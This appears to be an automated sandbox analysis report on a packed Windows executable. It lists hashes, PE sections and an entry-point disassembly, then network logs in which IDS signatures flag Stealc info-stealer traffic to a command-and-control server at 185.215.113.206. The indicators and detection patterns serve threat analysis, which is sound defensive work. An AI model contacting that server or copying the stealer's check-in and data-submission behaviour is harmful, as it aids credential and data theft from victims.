SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.960036914889953
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'086'912 bytes
MD5:	099d997bef4d9cc5bdd88ed65af37b16
SHA1:	427503c7f125818c1952bf31d22e524680d1ad01
SHA256:	60f9c6ee13675d80ca2e15e0e785961bbe523e9dce5f8de7d4263c3cc3aa502a
SHA512:	15e17998219d91fded14c988865cc90ad8d52eead95445a5ac19687d878b09837ce98c6f72535d777168746e206ca31b3eed13038ff6d0c2f9e2399b1d021b25
SSDEEP:	24576:Jg50KtZkZ+b7bOanS6j5neyXZEjPJTtnt/I9Hf3C9MxgYIuwtQNKXVkyaoq2QDtr:ExnnnSFteHf39SlkyqZeqGwTorQbT5
TLSH:	21A533E345EBD00CE19C6BB6DC18E19DB1FC4E86CD67D7A99EC49863C0079A4532AD83
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb0d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F078CCEC12Ah
movzx ebx, byte ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	18121b378b453495e37fa01e924e62ab	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x28f000	0x200	2c58077097d5b85f5c87a4fb984a8da1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wcxkxkso	0x579000	0x193000	0x192600	d6a24e1a9c1dfd579b3b1fa5c3458a16	False	0.9947947004116185	data	7.953104637728888	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cmdlgkqi	0x70c000	0x1000	0x600	971eba12f0b9d27a750e07deabf63461	False	0.6080729166666666	data	5.15829507996973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x70d000	0x3000	0x2200	77932a25725c52e2453ea10f6650e723	False	0.049057904411764705	DOS executable (COM)	0.5180178545219978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T01:18:17.135634+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T01:18:17.419496+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T01:18:17.444022+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-31T01:18:17.716657+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T01:18:17.733466+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-31T01:18:18.819842+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T01:18:19.381979+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T01:18:51.446761+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:52.694267+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:53.289161+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:53.847823+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:55.078396+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49962	185.215.113.206	80	TCP
2024-10-31T01:18:55.520695+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49962	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 01:18:14.606293917 CET	49674	443	192.168.2.5	23.1.237.91
Oct 31, 2024 01:18:14.621860981 CET	49675	443	192.168.2.5	23.1.237.91
Oct 31, 2024 01:18:14.715651989 CET	49673	443	192.168.2.5	23.1.237.91
Oct 31, 2024 01:18:15.937401056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:15.942342043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:15.942466021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:15.942605019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:15.947365999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:16.536137104 CET	443	49703	23.1.237.91	192.168.2.5
Oct 31, 2024 01:18:16.536312103 CET	49703	443	192.168.2.5	23.1.237.91
Oct 31, 2024 01:18:16.838795900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:16.838949919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:16.844890118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:16.849720001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.135546923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.135633945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.136957884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.143299103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.419353008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.419368029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.419496059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.439186096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.444021940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.716568947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.716579914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.716586113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.716593981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.716597080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.716628075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.716639996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.716656923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.716700077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.717179060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.717225075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.717375040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:17.717417002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.727786064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:17.733465910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.004842997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.004918098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:18.022772074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:18.022833109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:18.027740955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.027751923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.027756929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.027825117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.027846098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.027889013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.027898073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.819603920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:18.819842100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.106592894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.112298012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.381877899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.381932020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.381946087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.381978989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.382010937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.382045984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.382086992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.382178068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.382229090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.382230043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.382241964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.382265091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.382283926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.382294893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.382306099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.382334948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.382353067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.383080959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.383100033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.383109093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.383142948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.383162022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.533710957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.533724070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.533735991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.533746004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.533773899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.533807993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.533976078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.533993959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.534003973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.534018993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.534022093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.534034014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.534058094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.534085035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.534775019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.534785986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.534796000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.534806013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.534815073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.534843922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.535350084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.535377026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.535387039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.535404921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.535429001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.535433054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.535433054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.535445929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.535468102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.535481930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.536227942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.536242962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.536253929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.536262989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.536267042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.536274910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.536293030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.536320925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.537031889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.537079096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808084011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808094025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808104992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808167934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808177948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808188915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808191061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808198929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808212042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808223963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808238029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808243036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808260918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808290005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808331013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808346033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808356047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808365107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808368921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808376074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808386087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808394909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808404922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808414936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808414936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808425903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808433056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808438063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808446884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808449030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808460951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808480024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808485031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808490992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808502913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808521032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808521986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808533907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808543921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808553934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808554888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808566093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808569908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808578968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808588982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808590889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808602095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808607101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808614969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808633089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808638096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808643103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808655024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808665991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808666945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808677912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808681965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808690071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808696032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808701992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808715105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808744907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808765888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808765888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808796883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808808088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808810949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808841944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808876991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808918953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808932066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808940887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.808970928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.808984995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.837368965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.837389946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.837402105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.837447882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.837459087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.837470055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.837492943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.837552071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:19.837641001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.837682009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:19.837683916 CET	49704	80	192.168.2.5	185.215.113.206
